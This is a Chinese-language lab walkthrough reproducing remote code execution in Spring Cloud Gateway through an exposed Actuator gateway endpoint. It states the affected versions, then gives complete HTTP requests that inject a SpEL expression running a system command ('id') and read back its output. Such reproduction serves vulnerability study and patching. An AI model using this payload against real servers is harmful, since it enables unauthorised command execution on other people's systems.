一、漏洞简介
2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway Actuator端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。
二、漏洞影响
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
三、复现过程
利用条件
1.除了Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口)
2.Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
# 默认为true
management.endpoint.gateway.enabled=true
# 以逗号分隔的一系列值,默认为 health
# 若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway
漏洞复现
本次复现采用Vulfocus靶场环境,需要在本地搭建Vulfocus靶场。
1.png
2.构造包含恶意请求的路由,利用burpsuite进行发送
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.241.128:63424
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 338
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
3.然后应用刚添加的路由发送如下数据包,此数据包会触发表达式执行
POST /actuator/gateway/refresh HTTP/1.1
4.发送如下数据包可查看结果
GET /actuator/gateway/routes/hacktest HTTP/1.1
5.最后发送如下数据包进行清理,删除所添加的路由
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
6.再次刷新路由
POST /actuator/gateway/refresh HTTP/1.1
7.访问actuator API接口2.png
3.png